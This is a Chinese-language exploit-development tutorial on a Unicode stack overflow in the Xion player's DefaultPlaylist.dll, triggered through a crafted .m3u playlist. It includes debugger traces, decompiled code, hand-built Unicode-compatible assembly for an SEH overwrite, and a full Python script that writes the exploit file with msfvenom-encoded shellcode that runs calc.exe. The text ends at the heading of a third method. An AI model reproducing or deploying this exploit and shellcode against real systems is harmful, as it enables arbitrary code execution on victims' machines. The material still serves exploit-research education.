0x00 环境搭建

关于栈上的漏洞,之前系列的教程已经介绍了直接覆盖返回地址和触发SEH两种利用方式,同时也涵盖了众多保护机制的绕过方法。Part7应对的则是在输入字符串被转化为Unicode字符串后,溢出漏洞该如何构造exploit和payload(shellcode)。其中对于Unicode和汇编代码的联系理解,以及venetian shellcode创造性的使用都是值得学习的。

原文和本篇文章主要实践了将转化后合适的Unicode作为nop执行,以及编写汇编代码构造特定寄存器的内容,最后跳转至shellcode执行。至于兼容Unicode的shellcode的具体原理后面有机会再探个究竟。本文的实验环境还是win7-en-x86,未开启ASLR和DEP保护。

0x01 利用原理

转变原理

首先要明白输入的数据转变成Unicode是怎么转变的,结果又如何。在Win32的API中经常会把字符串转为Unicode的形式,类似于MultiByteToWideChar函数:

int MultiByteToWideChar(
  UINT                              CodePage,
  DWORD                             dwFlags,
  _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr,
  int                               cbMultiByte,
  LPWSTR                            lpWideCharStr,
  int                               cchWideChar
);

我理解的就是将Windows ANSI code page表示的字符串转换为UTF-16(宽字节)字符串,其中有个编码再解码的过程。对于小于等于\x7f的ASCII字符,根据ANSI转换的结果会在其后加个\x00字节,而对于大于\x7f的ASCII字符,则会被转变为另外两个字符,详见fx的ppt,感兴趣的同学也可以验证一下。

利用方法

虽然覆盖的地址由原来控制的4字节变为2字节,但转换的原理和结果都知道,理论上来说一切都还是在控制当中的。首先对于确定漏洞点的偏移是没多大影响的,对应的2倍伸缩即可。其次对于利用方法的如下:

  1. 直接覆盖返回地址:由于返回地址是跳转指令,所以还得寻找是转换后Unicode形式的跳转地址(比如0x00nn00mm或大于\x7f对应的宽字符组成的地址);如果找不到则可以退而求其次,寻找符合格式的上下文地址,只要在到达跳转指令的过程中不会破坏漏洞利用环境即可。这类地址的寻找均可用插件实现。(如OllyUNI和pvefindaddr)
  2. 基于SEH的利用:pop pop ret的地址选取和第1点一样,关键是nshe中的短跳指令在转变成Unicode后不好控制,所以转变思路将转变为Unicode后的nseh+handler,作为nop指令(无害操作即为nop)执行过去抵达shellcode。

最后关于shellcode的构造思路,原文中提到了3种方法:

  1. 寻找ASCII版的shellcode再跳转执行:可能原始的shellcode不是可以直接通过寄存器跳转执行的,但我们可以利用venetian shellcode构建汇编代码向寄存器中写入特定地址,再跳转执行。(后文有示例)
  2. 构建一个Unicode兼容的shellcode:难度可能有些大。
  3. 使用decoder:前辈们有写好decoder解码shellcode再执行(基于venetian shellcode的构造思想),可是运行decoder需要特定寄存器满足一定的条件,如指向decoder的地址或指向一个可写地址。

如果我们通过覆盖返回地址或者利用SEH劫持了eip,在某些情况下也需要我们手写一些Unicode兼容的shellcode,来满足后续shellcode执行代码过程中对一些寄存器的要求。原文中根据Building IA32 ‘Unicode-Proof’ Shellcodes的内容介绍了两个例子,一个是实现mov eax, 0x????????,另一个是实现lea eax, [ebp+0x300]

在后续漏洞利用过程中我也探索出了几个有趣的指令(均在ANSI Code page下)。

例一实现的汇编代码如下:

mov eax,0xAA004400        ; set EAX to 0xAA004400
push eax
dec esp
pop eax                   ; EAX = 0x004400??
add eax,0x33005500        ; EAX = 0x334455??
mov al,0x0                ; EAX = 0x33445500
mov ecx,0xAA006600
add al,ch                 ; EAX now contains 0x33445566

可以发现对寄存器赋值的操作和add的一些指令都是Unicode兼容的,可以扩展实现一些add操作:

\xb8\x00\x44\x00\xaa    mov eax,0xAA004400
\xbb\x00\x44\x00\xaa    mov ebx,0xAA004400
\xb9\x00\x44\x00\xaa    mov ecx,0xAA004400
\xba\x00\x44\x00\xaa    mov edx,0xAA004400
\xbf\x00\x44\x00\xaa    mov edi,0xAA004400
\xbe\x00\x44\x00\xaa    mov esi,0xAA004400
\xbd\x00\x44\x00\xaa    mov ebp,0xAA004400
\xbc\x00\x44\x00\xaa    mov esp,0xAA004400

\x00\xe8                add al, ch
\x00\xec                add ah, ch
\x00\xeb                add bl, ch
\x00\xef                add bh, ch
\x00\xea                add dl, ch
\x00\xee                add dh, ch

如果想和eax寄存器交换内容,可以用单字节指令xchg,可惜都是\x9?,会被转换掉,不过我们还是可以借助栈来实现寄存器的交换:

\x93    xchg eax, ebx

\x50    push eax
\x53    push ebx
\x58    pop eax
\x5b    pop ebx

\x57    push edi
\x5e    pop esi

虽然phrack的文章说mov eax,[eax]这样的指令是完全没用的(不兼容),但借助栈的特性还是可以实现类似操作的:

\x8b\x00    mov eax, [eax]

\x50        push eax
\x5c        pop esp
\x58        pop eax

0x02 漏洞实例

漏洞原理

老套路,5000字节的pattern生成carsh.m3u,windbg attach上软件后打开该playlist,即可捕获到将栈空间打满的异常:

(7b0.110): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000031 ebx=04f81614 ecx=0506eed0 edx=00130000 esi=04f815f8 edi=0012f240
eip=03cbc2a6 esp=0012e7f4 ebp=0012f260 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll - 
DefaultPlaylist!XionPluginCreate+0x18776:
03cbc2a6 668902          mov     word ptr [edx],ax        ds:0023:00130000=6341
0:000> !exchain
0012f254: 00690041
Invalid exception stack at 00380069
0:000> db 0012f254
0012f254  69 00 38 00 41 00 69 00-39 00 41 00 6a 00 30 00  i.8.A.i.9.A.j.0.
0012f264  41 00 6a 00 31 00 41 00-6a 00 32 00 41 00 6a 00  A.j.1.A.j.2.A.j.
0012f274  33 00 41 00 6a 00 34 00-41 00 6a 00 35 00 41 00  3.A.j.4.A.j.5.A.
0012f284  6a 00 36 00 41 00 6a 00-37 00 41 00 6a 00 38 00  j.6.A.j.7.A.j.8.
0012f294  41 00 6a 00 39 00 41 00-6b 00 30 00 41 00 6b 00  A.j.9.A.k.0.A.k.
0012f2a4  31 00 41 00 6b 00 32 00-41 00 6b 00 33 00 41 00  1.A.k.2.A.k.3.A.
0012f2b4  6b 00 34 00 41 00 6b 00-35 00 41 00 6b 00 36 00  k.4.A.k.5.A.k.6.
0012f2c4  41 00 6b 00 37 00 41 00-6b 00 38 00 41 00 6b 00  A.k.7.A.k.8.A.k.

因此定位漏洞点在DefaultPlaylist.dll中,该dll经过了upx加壳,脱壳后定位漏洞点为,向栈上地址循环拷贝宽字节的文件内容导致越界写,对应汇编代码如下:

.text:1001C29C
.text:1001C29C loc_1001C29C:                           ; CODE XREF: sub_1001C140+157↑j
.text:1001C29C                 lea     edx, [esp+0A6Ch+var_228]
.text:1001C2A3
.text:1001C2A3 loc_1001C2A3:                           ; CODE XREF: sub_1001C140+172↓j
.text:1001C2A3                 movzx   eax, word ptr [ecx]
.text:1001C2A6                 mov     [edx], ax       ; bof
.text:1001C2A9                 add     ecx, 2
.text:1001C2AC                 add     edx, 2
.text:1001C2AF                 test    ax, ax
.text:1001C2B2                 jnz     short loc_1001C2A3

反汇编代码可以看得更清楚,原始的宽字节字符串指针保存在类的成员数据中,循环赋值造成溢出:

int __cdecl sub_1001C140(_DWORD *a1)
{
  // ......
  wchar_t v15; // [esp+844h] [ebp-228h]
  int v16; // [esp+A68h] [ebp-4h]

  // ......
  if ( !v2 )
  {
    v3 = a1[6] < 8u;
    memset(&v15, 0, 0x208u);
    if ( v3 )
      v4 = (wchar_t *)(a1 + 1);
    else
      v4 = (wchar_t *)a1[1];
    v5 = &v15;
    do
    {
      v6 = *v4;
      *v5 = *v4;
      ++v4;
      ++v5;
    }
    while ( v6 );
    sub_10019BC0(&v15);
    sub_100199D0(&v15);
    sub_100029E0(a1 + 7, (int)&v15, &v15, wcslen(&v15));
  }
}

在循环前下断点,或者根据pattern可以算得偏移为265,还是和文件路径相关的:

Breakpoint 0 hit
eax=00000000 ebx=04f31614 ecx=0507a868 edx=00000000 esi=04f315f8 edi=0012f240
eip=04c6c29c esp=0012e7f4 ebp=0012f260 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
DefaultPlaylist!XionPluginCreate+0x1876c:
04c6c29c 8d942444080000  lea     edx,[esp+844h]
0:000> db ecx
0507a868  5a 00 3a 00 5c 00 37 00-5c 00 41 00 61 00 30 00  Z.:.\.7.\.A.a.0.
0507a878  41 00 61 00 31 00 41 00-61 00 32 00 41 00 61 00  A.a.1.A.a.2.A.a.
0507a888  33 00 41 00 61 00 34 00-41 00 61 00 35 00 41 00  3.A.a.4.A.a.5.A.
0507a898  61 00 36 00 41 00 61 00-37 00 41 00 61 00 38 00  a.6.A.a.7.A.a.8.
0507a8a8  41 00 61 00 39 00 41 00-62 00 30 00 41 00 62 00  A.a.9.A.b.0.A.b.
0507a8b8  31 00 41 00 62 00 32 00-41 00 62 00 33 00 41 00  1.A.b.2.A.b.3.A.
0507a8c8  62 00 34 00 41 00 62 00-35 00 41 00 62 00 36 00  b.4.A.b.5.A.b.6.
0507a8d8  41 00 62 00 37 00 41 00-62 00 38 00 41 00 62 00  A.b.7.A.b.8.A.b.
0:000> p
eax=00000000 ebx=04f31614 ecx=0507a868 edx=0012f038 esi=04f315f8 edi=0012f240
eip=04c6c2a3 esp=0012e7f4 ebp=0012f260 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
DefaultPlaylist!XionPluginCreate+0x18773:
04c6c2a3 0fb701          movzx   eax,word ptr [ecx]       ds:0023:0507a868=005a
0:000> !exchain
0012f254: DefaultPlaylist!XionPluginCreate+6d3db (04cc0f0b)
0012f3d0: DefaultPlaylist!XionPluginCreate+6d4f1 (04cc1021)
0012fabc: DefaultPlaylist!XionPluginCreate+6d16c (04cc0c9c)
0012fb5c: DefaultPlaylist!XionPluginCreate+6de18 (04cc1948)
0012fbb0: DefaultPlaylist!XionPluginCreate+6c638 (04cc0168)
0012fc74: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, func:   USER32!UserCallDlgProcCheckWow+154 (77d45bec)
0012fd7c: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, func:   USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fddc: USER32!_except_handler4+0 (77d7629b)
  CRT scope  0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
                func:   USER32!DispatchMessageWorker+159 (77d4b418)
0012ff78: *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
Xion+78ea0 (00478ea0)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
                func:   ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
0:000> ? 0012f254-0012f038 
Evaluate expression: 540 = 0000021c

因为有个对原文件内容转换宽字节的过程,所以直接可以对kernel32!MultiByteToWideChar下断点,推测一下软件的处理逻辑:

0:000> g
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll - 
0012caf4  04c1798d 00000003 00000000 05073f58
0012cb04  ffffffff
eax=00000000 ebx=05073f58 ecx=0dce730c edx=05073f59 esi=0012cb10 edi=00001389
eip=77e34538 esp=0012caf4 ebp=0012f234 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
kernel32!MultiByteToWideChar:
77e34538 ff258c1dde77    jmp     dword ptr [kernel32!_imp__MultiByteToWideChar (77de1d8c)] ds:0023:77de1d8c={KERNELBASE!MultiByteToWideChar (0dce80b0)}
0:000> dd esp L5
0012caf4  04c1798d 00000003 00000000 05073f58
0012cb04  ffffffff
0:000> db 05073f58
05073f58  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
05073f68  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
05073f78  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
05073f88  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
05073f98  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
05073fa8  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
05073fb8  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
05073fc8  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae
0:000> kv
ChildEBP RetAddr  Args to Child              
0012f234 04c17c39 0012f324 0012f35c a3a5d327 kernel32!MultiByteToWideChar
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 DefaultPlaylist!XionPluginCreate+0x34109
0:000> lm DefaultPlaylist
Couldn't resolve error at 'ultPlaylist'
0:000> lm m DefaultPlaylist
start    end        module name
04be0000 04c82000   DefaultPlaylist C (export symbols)       C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll

定位调用者的函数为sub_10037930,观察到使用的Code page为CP_THREAD_ACP,存储字符串的空间为堆上根据长度动态分配:

_DWORD *__cdecl sub_10037930(int a1, _DWORD *a2)
{
  const CHAR *v2; // ebx
  void *v3; // edx
  int v4; // edi
  void *v5; // esp
  unsigned int v6; // eax
  int v8; // [esp+0h] [ebp-10h]

  if ( *(_DWORD *)(a1 + 24) < 0x10u )
    v2 = (const CHAR *)(a1 + 4);
  else
    v2 = *(const CHAR **)(a1 + 4);
  if ( v2 )
  {
    v4 = lstrlenA(v2) + 1;
    if ( v4 <= 0x3FFFFFFF && (v5 = alloca(2 * v4), &v8) )
    {
      LOWORD(v8) = 0;
      v6 = MultiByteToWideChar(3u, 0, v2, -1, (LPWSTR)&v8, v4) != 0 ? (unsigned int)&v8 : 0;
    }
    else
    {
      v6 = 0;
    }
    v3 = (void *)v6;
  }
  else
  {
    v3 = 0;
  }
  return sub_100029E0(a2, (int)v3, v3, wcslen((const unsigned __int16 *)v3));
}

老套路跟踪返回地址可以知道函数的调用流程为:

# 4 sub_1001D350
# 3 sub_1001C670
# 2 sub_10037BE0
# 1 sub_10037930
# 0 MultiByteToWideChar

函数sub_1001D350的反汇编代码如下:

void __cdecl sub_1001D350(wchar_t *lpFileName, int a2)
{
  wchar_t *v2; // eax
  const WCHAR *v3; // esi

  v2 = wcsrchr(lpFileName, '.');
  v3 = v2;
  if ( v2 )
  {
    if ( StrStrIW(v2, L"m3u") || StrStrIW(v3, L"m3u8") )
    {
      sub_1001C670(lpFileName, a2);
    }
    else if ( StrStrIW(v3, L"pls") )
    {
      sub_1001B450(lpFileName, a2);
    }
    else if ( StrStrIW(v3, L"wpl") )
    {
      sub_1001CF10(lpFileName, a2);
    }
  }
}

判断playlist为m3u文件后,调用函数sub_1001C670处理,其中调用了构造函数sub_1001C570读取了文件的内容,在函数sub_10037BE0中将字符串转换为宽字节,最后在函数sub_10037930中触发了漏洞。

利用方法一:考虑绕过GS覆盖返回地址

在漏洞函数的首尾都有关于___security_cookie的验证操作,在IDA的数据段中只有两处的交叉引用,以为该GS是静态的可以绕过,但在代码段的交叉引用有456处,而且和esp异或后的结果很大概率上也不是Unicode兼容的,两次启动软件调试验证如下:

0:022> g
Breakpoint 0 hit
eax=0012f3d0 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc15a esp=0012e804 ebp=0012f260 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862a:
03afc15a a1547db603      mov     eax,dword ptr [DefaultPlaylist!XionPluginCreate+0x84224 (03b67d54)] ds:0023:03b67d54=81ee5c55
0:000> p
eax=81ee5c55 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc15f esp=0012e804 ebp=0012f260 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862f:
03afc15f 33c4            xor     eax,esp
0:000> p
eax=81fcb451 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc161 esp=0012e804 ebp=0012f260 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
DefaultPlaylist!XionPluginCreate+0x18631:
03afc161 898424480a0000  mov     dword ptr [esp+0A48h],eax ss:0023:0012f24c=00000007
0:000> p
eax=81fcb451 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc168 esp=0012e804 ebp=0012f260 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
DefaultPlaylist!XionPluginCreate+0x18638:
03afc168 53              push    ebx

0:026> g
Breakpoint 0 hit
eax=0012f3d0 ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c15a esp=0012e804 ebp=0012f260 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862a:
03c8c15a a1547dcf03      mov     eax,dword ptr [DefaultPlaylist!XionPluginCreate+0x84224 (03cf7d54)] ds:0023:03cf7d54=e7da7898
0:000> p
eax=e7da7898 ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c15f esp=0012e804 ebp=0012f260 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862f:
03c8c15f 33c4            xor     eax,esp
0:000> p
eax=e7c8909c ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c161 esp=0012e804 ebp=0012f260 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
DefaultPlaylist!XionPluginCreate+0x18631:
03c8c161 898424480a0000  mov     dword ptr [esp+0A48h],eax ss:0023:0012f24c=00000007
0:000> p
eax=e7c8909c ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c168 esp=0012e804 ebp=0012f260 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
DefaultPlaylist!XionPluginCreate+0x18638:
03c8c168 53              push    ebx

利用方法二:覆盖SEH跳转至Unicode shellcode

和原文中的利用方法一样,利用SEH劫持eip,然后将eax赋值为ebp+0x100,最后跳转至eax执行shellcode。调试查看偏移的过程如下:

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450015 esp=0012e298 ebp=0012e2b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
Xion+0x50015:
00450015 5b              pop     ebx
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450016 esp=0012e29c ebp=0012e2b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
Xion+0x50016:
00450016 5d              pop     ebp
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450017 esp=0012e2a0 ebp=0012e380 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
Xion+0x50017:
00450017 c3              ret
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=0012f254 esp=0012e2a4 ebp=0012e380 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0012f254 61              popad
0:000> p
eax=0012e380 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f255 esp=0012e2c4 ebp=0012f254 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0012f255 006e00          add     byte ptr [esi],ch          ds:0023:0012e354=a2
0:000> p
eax=0012e380 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f258 esp=0012e2c4 ebp=0012f254 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
0012f258 1500450044      adc     eax,44004500h
0:000> p
eax=44132881 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f25d esp=0012e2c4 ebp=0012f254 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
0012f25d 004200          add     byte ptr [edx],al          ds:0023:0012e368=60
0:000> db eip
0012f25d  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f26d  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f27d  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f28d  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f29d  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f2ad  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f2bd  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0012f2cd  00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42  .B.B.B.B.B.B.B.B
0:000> db eip-0n539-10
0012f032  08 05 00 00 00 00 5a 00-3a 00 5c 00 37 00 5c 00  ......Z.:.\.7.\.
0012f042  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f052  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f062  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f072  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f082  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f092  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012f0a2  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0:000> ? 0012f254+100-0012f042
Evaluate expression: 786 = 00000312

将eax赋值过程的汇编代码如下:

# SEH overflow

\x61                    popad
\x00\x6E\x00            add byte ptr [esi],ch
\x15\x00\x45\x00\x44    adc eax, 0x44004500
\x00\x6E\x00            add byte ptr [esi],ch

# mov eax, ebp

\x55                    push ebp
\x00\x6E\x00            add byte ptr [esi],ch
\x58                    pop eax
\x00\x6E\x00            add byte ptr [esi],ch

# add eax, 0x100

\x05\x00\x02\x00\x11    add eax, 0x11000200
\x00\x6E\x00            add byte ptr [esi],ch
\x2d\x00\x01\x00\x11    sub eax, 0x11000100
\x00\x6E\x00            add byte ptr [esi],ch

# jmp eax

\x50                    push eax
\x00\x6E\x00            add byte ptr [esi],ch
\xc3                    ret

最后在shellcode部分,可以使用msfvenom生成x86/unicode_upper编码的shellcode,查看options以为不用指定相关的寄存器或偏移就可以:

msf encoder(x86/unicode_upper) > show options 

Module options (encoder/x86/unicode_upper):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AllowWin32SEH   false            yes       Use SEH to determine the address of the stub (Windows only)
   BufferOffset    0                no        The offset to the buffer from the start of the register
   BufferRegister                   no        The register that pointers to the encoded payload

但实际上不指定的话是无法生成相关shellcode的,指定BufferRegister为eax后,去掉我们常规喜欢在shellcode头部加的nop指令后(Unicode不兼容),最终的利用效果就和原文中一样完美了:

#!/usr/bin/env python3

padding = "A" * 265
next_seh = "\x61\x6e"
handler = "\x15\x45"
D = "\x44"
jumper = "\x6e\x55\x6e\x58\x6e\x05\x02\x11\x6e\x2d\x01\x11\x6e\x50\x6e\xc3"

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
shellcode =  ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51"
shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35"
shellcode += "\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
shellcode += "\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58"
shellcode += "\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42"
shellcode += "\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31"
shellcode += "\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59"
shellcode += "\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
shellcode += "\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59"
shellcode += "\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54"
shellcode += "\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32"
shellcode += "\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30"
shellcode += "\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37"
shellcode += "\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f"
shellcode += "\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39"
shellcode += "\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c"
shellcode += "\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34"
shellcode += "\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54"
shellcode += "\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44"
shellcode += "\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51"
shellcode += "\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50"
shellcode += "\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56"
shellcode += "\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e"
shellcode += "\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c"
shellcode += "\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50"
shellcode += "\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51"
shellcode += "\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d"
shellcode += "\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d"
shellcode += "\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31"
shellcode += "\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b"
shellcode += "\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c"
shellcode += "\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44"
shellcode += "\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32"
shellcode += "\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b"
shellcode += "\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31"
shellcode += "\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b"
shellcode += "\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35"
shellcode += "\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50"
shellcode += "\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52"
shellcode += "\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43"
shellcode += "\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41"
shellcode += "\x41"

payload = ""
payload += padding + next_seh + handler + D + jumper
payload += "B" * (786 // 2 - len(payload))
payload += shellcode
payload += "D" * (5000 - len(payload))

with open("normal.m3u", "wt", encoding="latin-1") as f:
    f.write(payload)

利用方法三:跳转至原始shellcode

